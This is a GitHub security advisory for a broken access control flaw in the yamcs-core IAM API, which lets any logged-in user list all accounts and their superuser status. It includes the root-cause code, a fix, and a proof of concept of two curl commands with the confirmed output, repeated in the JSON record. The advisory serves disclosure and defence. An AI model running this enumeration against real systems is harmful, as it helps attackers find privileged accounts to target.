GHSA-P2RJ-MRMC-9W29
Vulnerability from github – Published: 2026-05-27 00:03 – Updated: 2026-05-27 00:03Summary
The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
Root Cause
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372
listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
// sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
for (User user : users) {
UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
responseb.addUsers(userb);
}
}
Compare with properly protected endpoints:
// createUser — correctly protected
public void createUser(Context ctx, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
Impact
Any authenticated user can:
- List all user accounts in the system
- Identify which accounts have superuser privileges
- Use this information to target privileged accounts
Proof of Concept
# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token
Output (confirmed):
{
"users": [
{ "name": "admin", "superuser": true, "active": true },
{ "name": "operator", "superuser": true, "active": true },
{ "name": "lowpriv", "superuser": false, "active": true }
]
}
Fix
Add ControlAccess check to listUsers, getUser, listGroups, getGroup:
public void listUsers(Context ctx, Empty request, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
...
}
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44595"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T00:03:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.\n\nThis constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.\n\n### Root Cause\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`\n\n`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user \u2014 regardless of privileges \u2014 can enumerate all users, their superuser status, and group memberships:\n\n```java\n// listUsers \u2014 NO checkSystemPrivilege\npublic void listUsers(Context ctx, Empty request, ...) {\n var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);\n // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed\n for (User user : users) {\n UserInfo userb = toUserInfo(user, sensitiveDetails, directory);\n responseb.addUsers(userb);\n }\n}\n```\n\nCompare with properly protected endpoints:\n\n```java\n// createUser \u2014 correctly protected\npublic void createUser(Context ctx, ...) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present\n```\n\n### Impact\n\nAny authenticated user can:\n\n1. List all user accounts in the system\n2. Identify which accounts have superuser privileges\n3. Use this information to target privileged accounts\n\n### Proof of Concept\n\n```bash\n# Authenticate as any low-privilege user GET access_token\ncurl -s -X POST \"http://localhost:8090/auth/token\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -d \"grant_type=password\u0026username=lowpriv\u0026password=lowpriv123\"\n\n# Enumerate all users \u2014 no ControlAccess required\ncurl -s \"http://TARGET:8090/api/users\" \\\n -H \"Authorization: Bearer $TOKEN\" #paste access_token\n```\n\n**Output (confirmed):**\n\n```json\n{\n \"users\": [\n { \"name\": \"admin\", \"superuser\": true, \"active\": true },\n { \"name\": \"operator\", \"superuser\": true, \"active\": true },\n { \"name\": \"lowpriv\", \"superuser\": false, \"active\": true }\n ]\n}\n```\n\n### Fix\n\nAdd `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:\n\n```java\npublic void listUsers(Context ctx, Empty request, ...) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS\n ...\n}\n```",
"id": "GHSA-p2rj-mrmc-9w29",
"modified": "2026-05-27T00:03:56Z",
"published": "2026-05-27T00:03:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.